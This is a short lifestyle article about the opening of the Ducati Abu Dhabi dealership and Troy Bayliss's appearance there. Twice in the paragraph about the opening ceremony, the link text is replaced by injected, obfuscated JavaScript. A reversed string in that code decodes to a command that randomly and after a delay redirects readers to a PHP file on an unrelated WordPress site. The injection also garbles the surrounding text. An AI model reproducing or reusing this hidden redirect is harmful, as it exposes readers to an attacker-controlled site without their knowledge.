Ducati Abu Dhabi. The Red Carpet Treatment

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I’m offered a mini-raspberry muffin as we make our way through the leisure area (“ah, white chocolate too!”) towards the backstage service facilities. Before us – next to the unbranded motorsport regalia – stands a large, sound-proofed pain of glass, on the other side of which in the next few weeks will be a Dynojet. From the comfort of one of the showrooms leather chairs positioned opposite, customers will be able to watch their bike being put through its paces.

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There are big plans in the machine rooms, the nuts and bolts of which are still being put together. One of the key features though is the enormous storage facility, in which customers will be able to leave their bikes until their next ride.

“That was Marcel [Bode, General Manager of Ducati Abu Dhabi]’s idea actually. It’s an added incentive for customers to buy, knowing they can leave their bike in a secure location. There’s definitively a market for that in the area.”

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Another quick saunter around backstage and it’s back to the main doors for the opening ceremony. $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/a-quick-chat-with-troy-bayliss-abu-dhabi/” target=”_blank”>Three-time World Superbike Champion and today’s guest of honour $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/a-quick-chat-with-troy-bayliss-abu-dhabi/” target=”_blank”>Troy Bayliss assembles with Khalifa, Marcel and Global Sales Director of Ducati Roberto Righi before the photographers now jostling for elbowroom at the main doors. One snip later and Ducati Abu Dhabi is officially open.

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Troy is immediately mobbed by his adoring fans while the directors, amidst much handshaking and backslapping, are clearly pleased with everyone’s efforts. That’s step one put to bed at least. Now their focus is on the future.

Categories: Lifestyle

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